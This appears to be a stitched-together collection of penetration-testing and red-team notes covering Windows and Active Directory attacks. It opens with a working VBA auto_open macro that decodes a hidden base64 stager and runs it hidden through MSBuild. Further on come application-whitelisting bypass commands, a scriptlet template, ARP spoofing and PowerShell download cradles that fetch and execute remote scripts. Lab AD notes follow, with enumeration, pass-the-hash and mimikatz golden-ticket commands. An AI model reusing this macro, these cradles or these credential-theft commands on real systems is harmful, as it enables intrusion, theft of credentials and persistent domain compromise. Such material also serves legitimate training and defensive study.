| If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4." | |
| Do While ILen > 0 | |
| If IBuf(ILen - 1) <> Asc("=") Then Exit Do | |
| ILen = ILen - 1 | |
| Loop | |
| Dim OLen As Long: OLen = (ILen * 3) \ 4 | |
| Dim Out() As Byte | |
| ReDim Out(0 To OLen - 1) As Byte | |
| Dim ip As Long | |
| Dim op As Long | |
| Do While ip < ILen | |
| Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 | |
| Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 | |
| Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") | |
| Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") | |
| If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ | |
| Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." | |
| Dim b0 As Byte: b0 = Map2(i0) | |
| Dim b1 As Byte: b1 = Map2(i1) | |
| Dim b2 As Byte: b2 = Map2(i2) | |
| Dim b3 As Byte: b3 = Map2(i3) | |
| If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ | |
| Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." | |
| Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) | |
| Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) | |
| Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 | |
| Out(op) = o0: op = op + 1 | |
| If op < OLen Then Out(op) = o1: op = op + 1 | |
| If op < OLen Then Out(op) = o2: op = op + 1 | |
| Loop | |
| Base64Decode = Out | |
| End Function | |
| Private Sub Init() | |
| Dim c As Integer, i As Integer | |
| i = 0 | |
| For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next | |
| For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next | |
| For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next | |
| Map1(i) = Asc("+"): i = i + 1 | |
| Map1(i) = Asc("/"): i = i + 1 | |
| For i = 0 To 127: Map2(i) = 255: Next | |
| For i = 0 To 63: Map2(Map1(i)) = i: Next | |
| InitDone = True | |
| End Sub | |
| Private Function ConvertStringToBytes(ByVal s As String) As Byte() | |
| Dim b1() As Byte: b1 = s | |
| Dim l As Long: l = (UBound(b1) + 1) \ 2 | |
| If l = 0 Then ConvertStringToBytes = b1: Exit Function | |
| Dim b2() As Byte | |
| ReDim b2(0 To l - 1) As Byte | |
| Dim p As Long | |
| For p = 0 To l - 1 | |
| Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) | |
| If c >= 256 Then c = Asc("?") | |
| b2(p) = c | |
| Next | |
| ConvertStringToBytes = b2 | |
| End Function | |
| Private Function ConvertBytesToString(b() As Byte) As String | |
| Dim l As Long: l = UBound(b) - LBound(b) + 1 | |
| Dim b2() As Byte | |
| ReDim b2(0 To (2 * l) - 1) As Byte | |
| Dim p0 As Long: p0 = LBound(b) | |
| Dim p As Long | |
| For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next | |
| Dim s As String: s = b2 | |
| ConvertBytesToString = s | |
| End Function | |
| Sub auto_open() | |
| Dim oWB As Workbook | |
| Set oWB = ActiveWorkbook | |
| Dim msbuild_stager As String | |
| msbuild_stager = oWB.BuiltinDocumentProperties("Comments") | |
| Dim strPath1 As String | |
| strPath1 = Environ$("Public") & "\Libraries\msbuild_stager.xml" | |
| Dim fso1 As Object | |
| Set fso1 = CreateObject("Scripting.FileSystemObject") | |
| Dim oFile1 As Object | |
| Set oFile1 = fso1.CreateTextFile(strPath1) | |
| oFile1.WriteLine Base64DecodeString(msbuild_stager) | |
| oFile1.Close | |
| Set fso1 = Nothing | |
| Set oFile1 = Nothing | |
| Shell ("cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" & " " & Environ$("PUBLIC") & "\Libraries\msbuild_stager.xml"), vbHide | |
| End Sub |
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| C:\Windows\System32>mshta.exe evilfile.hta |
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| regsvcs.exe /U regsvcs.dll | |
| regsvcs.exe regsvcs.dll | |
| https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/ | |
| https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs | |
| https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md | |
| https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ |
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| InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll | |
| • https://github.com/subTee/AllTheThings | |
| https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/ | |
| https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12 | |
| http://subt0x10.blogspot.no/2017/09/banned-file-execution-via.html | |
| https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md | |
| https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/ | |
| https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ | |
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| C:\Windows\System32\Printing_Admin_Scripts\en-US> pubprn.vbs 127.0.0.1 malware.sct | |
| ########################################################################## | |
| Do not edit the below code | |
| ########################################################################## | |
| <?XML version="1.0"?> | |
| <scriptlet> | |
| <registration | |
| description="Bandit" | |
| progid="Bandit" | |
| version="1.00" | |
| classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}" | |
| remotable="true" | |
| > | |
| </registration> | |
| <script language="JScript"> | |
| <![CDATA[ | |
| var r = new ActiveXObject("WScript.Shell").Run("enter in comand here"); | |
| ]]> | |
| </script> | |
| </scriptlet> |
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| To Do: | |
| 1. Turn on Query Debug Mode - this will allow you to see the exact query when you do things like, select a pre built query | |
| 2. When making custom cypher queries, use the neo4j web browser "http://localhost:7474/browser" - rather than the Bloodhound app. The Bloodhound app doesn't have syntax highlighting etc. | |
| MATCH (m:Computer) WHERE m.unconstraineddelegation=true | |
| MATCH (g:Group) WHERE g.name =~ "(?i).*Domain Users@DOMAIN.*" | |
| MATCH p=shortestPath((g)-[*1..]->(m)) | |
| RETURN p | |
| Arrows in bloodhound always point to escalating access | |
| --------------- | |
| MATCH (u:User)-[r:AdminTo|MemberOf*1..]->(c:Computer | |
| RETURN u.name | |
| That’ll return a list of users who have admin rights on at least one system either explicitly or through group membership | |
| --------------- | |
| MATCH | |
| (U:User)-[r:MemberOf|:AdminTo*1..]->(C:Computer) | |
| WITH | |
| U.name as n, | |
| COUNT(DISTINCT(C)) as c | |
| RETURN n,c | |
| ORDER BY c DESC | |
| LIMIT 5 | |
| Return username and number of computers that username is admin for, for top N users | |
| --------------- | |
| MATCH | |
| (G:Group)-[r:MemberOf|:AdminTo*1..]->(C:Computer) | |
| WITH | |
| G.name as n, | |
| COUNT(DISTINCT(C)) as c | |
| RETURN n,c | |
| ORDER BY c DESC | |
| LIMIT 5 | |
| Return username and number of computers that username is admin for, for top N users | |
| --------------- | |
| MATCH | |
| (U:User)-[r:MemberOf|:AdminTo*1..]->(C:Computer) | |
| WITH | |
| U.name as n, | |
| COUNT(DISTINCT(C)) as c | |
| WHERE c>1 | |
| RETURN n | |
| ORDER BY c DESC | |
| Show all users that are administrator on more than one machine | |
| --------------- | |
| MATCH (u:User) | |
| WITH u | |
| OPTIONAL MATCH (u)-[r:AdminTo]->(c:Computer) | |
| WITH u,COUNT(c) as expAdmin | |
| OPTIONAL MATCH (u)-[r:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(c:Computer) | |
| WHERE NOT (u)-[:AdminTo]->(c) | |
| WITH u,expAdmin,COUNT(DISTINCT(c)) as unrolledAdmin | |
| RETURN u.name,expAdmin,unrolledAdmin,expAdmin + unrolledAdmin as totalAdmin | |
| ORDER BY totalAdmin ASC | |
| Show all users that are administrative on at least one machine, ranked by the number of machines they are admin on. | |
| --------------- | |
| MATCH p=((S:Computer)-[r:HasSession*1]->(T:User)) | |
| WHERE NOT S.domain = T.domain | |
| RETURN p | |
| This will return cross domain 'HasSession' relationships | |
| --------------- | |
| MATCH p=(m:Group)-[r:Owns|:WriteDacl|:GenericAll|:WriteOwner|:ExecuteDCOM|:GenericWrite|:AllowedToDelegate|:ForceChangePassword]->(n:Computer) WHERE m.name STARTS WITH ‘DOMAIN USERS’ RETURN p | |
| Find all other Rights Domain Users shouldn't have | |
| --------------- | |
| MATCH (n:User)-[r:MemberOf]->(g:Group) WHERE g.highvalue=true AND n.hasspn=true RETURN n, g, r | |
| Show Kerberoastable high value targets | |
| --------------- | |
| this will search for the paths to a target node and exclude paths that go through any node with the highvalue property set to true | |
| MATCH (n) | |
| MATCH (t {name: "<some_node>"}) | |
| MATCH p = allshortestPaths((n)-[*1..10]->(t)) | |
| WHERE NONE(node IN nodes(p) WHERE node.highvalue = true) AND NOT n = t | |
| RETURN p | |
| --------------- | |
| MATCH (m:Computer) WHERE m.unconstraineddelegation=true | |
| MATCH (g:Group) WHERE g.name =~ "(?i).*Domain Users@DOMAIN.*" | |
| MATCH p=shortestPath((g)-[*1..]->(m)) | |
| RETURN p | |
| Arrows in bloodhound always point to escalating access |
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| Allow Multiple RDP sessions | |
| ts::multirdp | |
| List all current sessions | |
| ts::sessions | |
| Takeover specified session | |
| ts::remote /id:1 | |
| Pass RDP session into other sessions ID | |
| ts::remote /id:1 /target:2 | |
| Use password of user who owns sessions | |
| ts::remote /id:1 /password:F@ll2019! |
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| ip route add prohibit 192.168.30.83/32 <---- works without ip tables | |
| iptables -A INPUT -s IP-Address -j DROP | |
| netsh advfirewall firewall add rule name="IP Block" dir=in interface=any action=block remoteip=192.168.30.75/32 <---windows command line |
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| echo 1 > /proc/sys/net/ipv4/ip_forward | |
| arpspoof -i tap0 -t 10.185.11.1 -r 10.185.10.34 | |
| arpspoof -i tap0 -t 10.185.10.34 -r 10.185.11.1 | |
| ================= | |
| echo 1 > /proc/sys/net/ipv4/ip_forward <--enable ip forwarding first | |
| arpspoof -i tap0 -t 172.16.5.1 -r 172.16.5.23 <---this will tell 172.16.5.1 that if they need to communicate with 172.16.5.23 they must pass from the pentester system | |
| now, in a separate terminal, | |
| arpspoof -i tap0 -t 172.16.5.23 -r 172.16.5.1 <---this will tell 172.16.5.23 that if the need to communicate with 172.16.5.1 they must pass | |
| from the pentester system |
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| Active Directory enables centralized secure management of an entire network. Everything stored in active directory is an object. | |
| ##Active Directory - Components | |
| • Schema - Defines objects and their attributes (Windows User, Servers etc). | |
| • Query and Index mechanism - Provides searching and publication of objects and their properties. | |
| • Global Catalog - Contains information about every object in the directory. | |
| • Replication Service - Distributes information across domain controllers. | |
| ##Active Directory - Structure | |
| Forest, domains and organization units(OUs) are the basic building blocks of any active directory structure. | |
| Forest - A forest is the security boundary as per Microsoft may contain multiple domains and each domain may contain multiple OUs. | |
| ##Powershell - Basics | |
| Powershell scripts uses cmdlets, native commands, functions, .Net, DLLs, Windows API and much more in a single program(script).Powershell scripts are really powerfull and could do much stuff in less lines. Easy to write, easy syntax and easy to execute. | |
| #Execution Policy | |
| It is not a security measure, It is present to prevent user from accidently executing scripts. | |
| There are several ways to bypass it | |
| powershell -ExecutionPolicy bypasspowershell -ep Bypass$env:PSExecutionPolicyPreference = "bypass" | |
| #Get-Help | |
| Get-Help Get-Item -- Shows a brief help about the cmdlet or topic. Supports wildcard (*). Comes with various options and filters. Get-Help -? or help -? -- could be used to display help.Get-Help About_<topic> could be used to get help for conceptual topics | |
| Get-Help * --Lists everything about the help topics. | |
| Get-Help process --List everything which contains the word process. | |
| Update-Help --Updates the help system (v3+) | |
| Get-Help Get-Item -Full --List full help about a topic (Get-Item cmdlet in this case). | |
| Get-Help Get-Item -Examples --Lists example of how to run a cmdlet (Get-Item cmdlet in this case). | |
| #What is cmdlets ? | |
| Cmdlets are used to perform an action and a .Net object is returned as the output. Cmdlets accept parameters for different operations. They have aliases. There are NOT executables, you can write your own cmdlet with few lines of script. Get-Command -CommandType cmdlet -- This list all the cmdlets in the current powershell session | |
| Get-Process --Lists processes running on the system. | |
| #Powershell Modules basic | |
| Import-Module <modulepath> | |
| Get-Command -Module <modulename> -- Get all the commands which is imported from the module | |
| ##Download Cradles | |
| iex (New-Object Net.WebClient).DownloadString('http://ip:port/file.ps1') | |
| $ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://ip:port/file.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response | |
| #Powershell v3 onwards | |
| iex(iwr 'http://ip:port/file.ps1') | |
| $h = New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET', 'http://ip:port/file.ps1', $false);$h.send();iex $h.responseText | |
| $wr = [System.Net.WebRequest]::Create("http://ip:port/file.ps1")$r = $wr.GetResponse()iex([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd() | |
| ##How to interact with active directory in lab | |
| • [ADSI] | |
| • .Net Classes (System.DirectoryServices.ActiveDirectory) | |
| • Native Executables | |
| • Powershell (.Net Classes & WMI) | |
| Domain Enumeration | |
| Enumeration is most important during any engagement. Command to find the current domain name using .Net Classes | |
| $ADClass = [System.DirectoryServices.ActiveDirectory.Domain]$ADClass::GetCurrentDomain() | |
| Load PowerView | |
| cd C:\AD\Tools. .\PowerView.ps1 | |
| Load AD Module | |
| cd C:\AD\Tools\ADModule-master\Import-Module .\Microsoft.ActiveDirectory.Management.dllImport-Module .\ActiveDirectory\ActiveDirectory.psd1 | |
| Get Current Domain Information | |
| #PowerViewGet-NetDomain | |
| #AD ModuleGet-ADDomain | |
| Get object of another domain | |
| #PowerViewGet-NetDomain -Domain moneycorp.local | |
| #AD ModuleGet-ADDomain -Identity moneycorp.local | |
| Find Domain SID | |
| #PowerViewGet-DomainSID | |
| #AD Module(Get-ADDomain).DomainSID | |
| Get Domain policy for current domain | |
| #PowerViewGet-DomainPolicy(Get-DomainPolicy)."system access" --Password Policy | |
| (Get-DomainPolicy)."Kerberos Policy" --Kerberos Policy | |
| Get Domain policy from another domain | |
| (Get-DomainPolicy -domain moneycorp.local)."system access" | |
| Get domain controller information for current domain | |
| #PowerViewGet-NetDomainController | |
| #AD ModuleGet-ADDomainController | |
| Get domain controller information for another domian | |
| #PowerViewGet-NetDomainController -Domain moneycorp.local | |
| #AD ModuleGet-ADDomainController -DomainName moneycorp.local -Discover | |
| Get list of all users in the current domain | |
| #PowerViewGet-NetUser | |
| #AD ModuleGet-ADUser -Filter * -Properties * | |
| Get the details for specific user in the current domain | |
| #PowerViewGet-NetUser -Username student1 | |
| #AD ModuleGet-ADUser -Identity student1 -Properties * | |
| Get list of all properties for the users in the current domain | |
| #PowerViewGet-UserProperty | |
| #AD ModuleGet-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name | |
| Get list of specific property for all users in the current domain | |
| #PowerViewGet-UserProperty -Properties pwdlastset | |
| #AD ModuleGet-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}} | |
| Search for a particular string in a user's attributes | |
| #PowerViewFind-UserField -SearchField Description -SearchTerm "built" | |
| #AD ModuleGet-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description | |
| Get list of computers in the current domain | |
| #PowerViewGet-NetComputer | |
| #AD ModuleGet-ADComputer -Filter * | |
| Get all the not null properties for the computers | |
| #PowerViewGet-NetComputer -FullData | |
| #AD ModuleGet-ADComputer -Filter * -Properties * | |
| Get list of computers running server 2016 computers | |
| #PowerViewGet-NetComputer -OperatingSystem "*Server 2016*" | |
| #AD ModuleGet-ADComputer -Filter 'OperatingSystem -like "*Server 2016*" -Properties OperatingSystem | select Name,OperatingSystem | |
| Check if the computers are alive. This will ping the computers in the network. Possibilities of false positive if ping is block in the network crossing firewalls. | |
| #PowerViewGet-NetComputer -Ping | |
| #AD ModuleGet-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName} | |
| Get information about the Groups from current domain | |
| #PowerViewGet-NetGroup | |
| #AD ModuleGet-ADGroup -Filter * | |
| Get information about the Groups from another domain | |
| #PowerViewGet-NetGroup -Domain moneycorp.local | |
| #AD ModuleGet-ADGroup -Filter * -Server moneycorp.local | |
| Get full information about the Group from the current domain | |
| #PowerViewGet-NetGroup 'Domain Admins' -FullData | |
| #AD ModuleGet-ADGroup -Filter * -Properties | |
| Get information about the Group using wildcard search | |
| #PowerViewGet-NetGroup -GroupName *admin* | |
| #AD ModuleGet-ADGroup -Filter 'Name -like "*admin*"' | select name | |
| Get the member list from the groups | |
| #PowerViewGet-NetGroupMember -GroupName "Domain Admins" -Recurse | |
| #AD ModuleGet-ADGroupMember -Identity "Domain Admins" -Recursive | |
| Get group membership for a user | |
| #PowerViewGet-NetGroup -UserName "student1" | |
| #AD ModuleGet-ADPrincipalGroupMembership -Identity student1 | |
| Get list of all the local groups on a machine (needs administrator privileges on non dc machine) | |
| #PowerViewGet-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups | |
| Get members of all the local groups on a machine (needs administrator privileges on non dc machine) | |
| #PowerViewGet-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse | |
| Get actively logged users on a computer (need local admin rights on the target) | |
| #PowerViewGet-NetLoggedon -ComputerName <servername> | |
| Get locally logged users on a computer (needs remote registry on the target -started by-default on server os) | |
| #PowerViewGet-LoggedonLocal -Computer dcorp-dc.dollarcorp.moneycorp.local | |
| Get the last logged user on a computer (needs administrative rights and remote registry on the target) | |
| #PowerViewGet-LastLoggedOn -ComputerName <servername> | |
| Find shares on hosts in the current domain which are readable | |
| #PowerViewInvoke-ShareFinder -Verbose | |
| Find shares on hosts in the current domain which are readable excluding default shares | |
| #PowerViewInvoke-ShareFinder -Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC | |
| Find sensitive files on computers in the domain | |
| #PowerViewInvoke-FileFinder -Verbose | |
| Get all file servers of the domain | |
| #PowerViewGet-NetFileServer | |
| ##What is Group Policy ? | |
| Group Policy provides the ability to manage configuration and changes easily & centrally in AD | |
| Allows Configuration of - | |
| • Security Settings | |
| • Registry-based policy settings | |
| • Group policy preferences like startup/shutdown/log-on/logoff scripts settings | |
| • Software Installation | |
| GPO can be abused for various attacks like privilege escalation, backdoors, persistence etc. | |
| Find all the group policy in the current domain | |
| #PowerViewGet-NetGPO | |
| Find all the group policy display name | |
| #PowerViewGet-NetGPO | select displayname | |
| Find the group policy applied on the student machine | |
| #PowerViewGet-NetGPO -ComputerName dcorp-stdadmin.dollarcorp.moneycorp.local | |
| Get users which are in a local group of a machine using GPO | |
| #PowerViewFind-GPOComputerAdmin -ComputerName dcorp-stdadmin.dollarcorp.moneycorp.local | |
| Get machines where the given user is member of a specific group | |
| #PowerViewFind-GPOLocation -UserName student1 -Verbose | |
| Get OUs from the current domain | |
| #PowerViewGet-NetOU -FullData | |
| ## Access Control Model | |
| Enables control on the ability of a process to access objects and other resources in active directory based on: | |
| • Access Tokens (security context of a process - identity and privileges of user) | |
| • Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL (SACL)) | |
| Every object in active directory has 3 things in active directory | |
| • SACL | |
| • DACL | |
| • Owner | |
| DACL & SACL are made of Access Control Entries (ACE) | |
| #Access Control List (ACL) | |
| It is a list of Access Control Entries (ACE) - ACE corresponds to individual permission or audits access. Who has permission and what can be done on an object ? | |
| There are 2 types of ACLs | |
| • DACL - Defines the permissions trustees(a user or group) have on an object. | |
| • SACL - Logs success and failure audit messages when an object is accessed. | |
| #Enumerate ACLs | |
| Get the ACLs associated with the specified object | |
| #PowerViewGet-ObjectAcl -SamAccountName student1 -ResolveGUIDs | |
| Get the ACLs associated with the specified prefix to be used for search | |
| #PowerViewGet-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose | |
| #AD Module(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | |
| Get the ACLs associated with the specified LDAP path to be used for search | |
| #PowerViewGet-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose | |
| Search for interesting ACEs | |
| #PowerViewInvoke-ACLScanner -ResolveGUIDs | |
| Get the ACLs associated with the specified path | |
| #PowerViewGet-PathAcl -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol" | |
| ##Domain Trust | |
| In an AD environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest.Trust can be automatic (parent-child, same forest etc). or established (forest, external).Trusted Domain Objects (TDOs) represent the trust relationships in a domain. | |
| ##Trust Properties | |
| There are 2 properties of trust | |
| • Trust Direction | |
| • Trust Transitivity | |
| #Trust Direction | |
| • One-Way Trust - Unidirectional. Users in the trusted domain can access resources in the trusting domain but the reverse is not true. | |
| • Two-Way Trust - Bi-directional. Users of both domain can access resources in the other domain. | |
| #Trust Transitivity | |
| • Transitive - Can be extended to establish trust relationships with other domains. All the default intra-forest trust relationships (Tree-root, Parent-Child) between domains within a same are transitive two-way trusts. | |
| • Non Transitive - Cannot be extended to other domains in the forest. Can be two-way or one-way. This is the default trust (called external trust) between two domains in different forests when forests do not have a trust relationship. | |
| ##Types of Trust | |
| #Default / Automatic Trusts | |
| Parent-Child trust - It is created automatically between the new domain and the domain that precedes it in the namespace hierarchy, whenever a new domain is added in a tree. For example, dollarcorp.moneycorp.local is a child of moneycorp.local. This trust is always two-way transitive. | |
| Tree-Root trust - It is created automatically between whenever a new domain tree is added to a forest root. This trust is always two-way transitive. | |
| #Shortcut Trusts | |
| Used to reduce access time in complex trust scenarios. Can be one-way or two-way transitive trust | |
| #External Trust | |
| Between two domains in different forests when forests do not have a trust relationship. Can be one-way or two-way non transitive trust. | |
| #Forest Trust | |
| It is created between forest root domain. Cannot be extended to a third forest (no implicit trust). Can be one-way or two-way and transitive or non transitive trust. | |
| ##Domain Trust Mapping | |
| Get a list of all domain trusts for the current domain | |
| #PowerViewGet-NetDomainTrust | |
| #AD ModuleGet-ADTrust | |
| Get a list of all domain trusts for another domain | |
| #PowerViewGet-NetDomainTrust -Domain us.dollarcorp.moneycorp.local | |
| #AD ModuleGet-ADTrust -Identity us.dollarcorp.moneycorp.local | |
| Get details about the current forest | |
| #PowerViewGet-NetForest | |
| #AD ModuleGet-ADForest | |
| Get details about the other forest | |
| #PowerViewGet-NetForest -Forest eurocorp.local | |
| #AD Module | |
| Get-ADForest -Identity eurocorp.local | |
| Get all domains in the current forest | |
| #PowerViewGet-NetForestDomain | |
| #AD Module(Get-ADForest).Domains | |
| Get all domains for another forest | |
| #PowerViewGet-NetForestDomain -Forest eurocorp.local | |
| #AD Module(Get-ADForest -Identity eurocorp.local).Domains | |
| Get all global catalogs for the current forest | |
| #PowerViewGet-NetForestCatalog | |
| #AD ModuleGet-ADForest | select -ExpandProperty GlobalCatalogs | |
| Get all global catalogs for another forest | |
| #PowerViewGet-NetForestCatalog -Forest eurocorp.local | |
| #AD ModuleGet-ADForest -Identity eurocorp.local | select -ExpandProperty GlobalCatalogs | |
| Get details about the forest trust | |
| #PowerViewGet-NetForestTrust | |
| #AD ModuleGet-ADTrust - Filter 'msDS-TrustForestTrustInfo -ne "$null"' | |
| ##User Hunting | |
| Find all machines on the current domain where the current user has local admin access | |
| #PowerViewFind-LocalAdminAccess -verbose | |
| This function queries the DC of the current or provided domain for a list of computers (Get-NetComputer) and then use multi-threaded and check local admin access on each machine | |
| #PowerViewInvoke-CheckLocalAdminAccess | |
| Use WMI to find if current user has local admin access on any computers in the domain | |
| #To load WMI script. .\Find-WMILocalAdminAccess.ps1 | |
| Find local admins on all machines of the domain (needs administrator privileges on non-dc machines | |
| #PowerViewInvoke-EnumerateLocalAdmin -Verbose | |
| This function queries the DC of the current or provided domain for a list of computers (Get-NetComputer) and then use multi-threaded script on each machine. | |
| Get-NetLocalGroup | |
| Find computers where a domain admin (or specified user/group) has sessions: | |
| #PowerViewInvoke-UserHunter | |
| #PowerViewInvoke-UserHunter -GroupName "RDPUsers" | |
| This functions queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using (Get-NetGroupMember), gets a list of computers (Get-NetComputer) and list sessions and logged on users from each machine. | |
| #PowerViewGet-NetSession | |
| #PowerViewGet-NetLoggedon | |
| To confirm admin access | |
| #PowerViewInvoke-UserHunter -CheckAccess | |
| This option queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using (Get-NetGroupMember), get a list of only high traffic server (DC, File Servers & Distributed File Servers) for less traffic generation and list sessions and logged on users (Get-NetSession / Get-NetLoggedon) from each machine | |
| Find computers where a domain admin is logged-in | |
| #PowerViewInvoke-UserHunter -Stealth | |
| ##Local Privilege Escalation | |
| In an AD environment, there are multiple scenarios which lead to privilege escalation. We had a look at the following | |
| • Hunting for Local Admin access on other machines | |
| • Hunting for high privilege domain accounts (like a Domain Administrator) | |
| There are various ways of locally escalating privileges on Windows box: | |
| • Missing patches | |
| • Automated deployment and AutoLogon passwords in clear text | |
| • AlwaysInstallElevated (Any user can run MSI as SYSTEM) | |
| • Misconfigured Services | |
| • DLL Hijacking and more | |
| We can use below tools for complete coverage | |
| • PowerUp: https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc | |
| • BeRoot: https://github.com/AlessandroZ/BeRoot | |
| • Privesc: https://github.com/enjoiz/Privesc | |
| #Identify services Issues using PowerUp | |
| Get services with unquoted paths and a space in their name | |
| #PowerUpGet-ServiceUnquoted -Verbose | |
| Get services where the current user can write to its binary path or change arguments to the binary | |
| #PowerUpGet-ModifiableServiceFile -Verbose | |
| Get the services whose configuration current user can modify | |
| #PowerUpGet-ModifiableService -Verbose | |
| List the bin path of all the services using WMI | |
| Get-WmiObject -Class win32_service | select pathname | |
| Run all checks for privilege escalation | |
| #PowerUpInvoke-AllChecks | |
| #BeRoot.\beRoot.exe | |
| #PrivescInvoke-PrivEsc | |
| ##Enumerating Domain using BloodHound | |
| What is BloodHound ? | |
| Provides GUI for AD entities and relationships for the data collected by its ingestors. Uses Graph Theory for providing the capability of mapping shortest path for interesting things like Domain Admins. There are built-in queries for frequently used actions. Also supports custom Cypher queries. | |
| BloodHound has 2 parts | |
| • Ingester - This is used to collect the data from the environment. SharpHound is the ingester for bloodhound data collection. | |
| • GUI - This is used to uploaded the collected data and view the relationships in GUI Mode. | |
| Collect data using SharpHound | |
| #Load Sharphound powershell script. .\Sharphound.ps1 | |
| #Collect all data from the environmentInvoke-BloodHound -CollectionMethod All -Verbose | |
| #Collect session data from the environmentInvoke-BloodHound -CollectionMethod LoggedOn -Verbose | |
| ##Lateral Movement | |
| PSRemoting - It's administrative utility which allows system administrator to manage the system. It uses 5985.5986 port. It can help you to get elevated shell on the target system. It requires admin privilege on the target system. | |
| There are 2 types of PSRemoting | |
| One-to-One | |
| Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local | |
| One-to-Many | |
| Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock {whoami;hostname} | |
| Invoke-Command -ScriptBlock {whoami} -ComputerName (Get-Content C:\AD\Tools\comp.txt) | |
| Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -FilePath C:\AD\Tools\PowerUp.ps1 | |
| Over-Pass-The hash | |
| Invoke-Mimikatz -Command '"sekurlsa::pth /user:srvadmin /domain:dollarcorp.moneycorp.local /ntlm:a98e18228819e8eec3dfa33cb68b0728 /run:powershell.exe"' | |
| ## Domain Persistence | |
| Kerberos is the basis of authentication in a windows active directory environment. It has been constantly attacked since it was implemented with new attacks and scrutiny every couple of years. | |
| • NTLM password hash for kerberos RC4 encryption. | |
| • Logon Ticket(TGT) provides user auth to DC. | |
| • Kerberos policy only checked when TGT is created. | |
| • DC validates user account only when TGT > 20 mins. | |
| • Service Tickets (TGS) PAC validation is optional & rare | |
| • Server LSASS sends PAC validation request to DC's netlogon service (NRPC) | |
| • If it runs as a service, PAC validation is optional (disabled) | |
| • If a service runs as System, it performs server signature verification on the PAC (Computer Account long-term key). | |
| #Golden Ticket | |
| A golden ticket is signed and encrypted by the hash of KRBTGT account which makes it a valid TGT ticket.Since user account validation is not done by Domain Controller (KDC service) until TGT is older than 20 minutes, we can use even deleted/ revoked accounts.The KTBTGT user has could be used to impersonate any user with any privileges from even a non-domain machine.Password change has no effect on this attack. | |
| Execute mimikatz on DC as Domain Admin to get KRBTGT hash | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc | |
| Create golden ticket for administrator account | |
| Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' | |
| WMI command to find the operating system details from the remote host | |
| Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local | |
| #Silver Ticket | |
| A valid TGS (Golden Ticket is a valid TGT).Encrypted and Signed by the NTLM hash of the service account / computer account (Golden ticket is signed by hash of krbtgt) of the service running with that account.Services rarely check PAC (Privileged Attribute Certificate).Services will allow access only to the services themselves.Reasonable persistence period (default 30 days for computer accounts). | |
| Using hash of the domain controller computer account, below command provides access to shares on the DC. | |
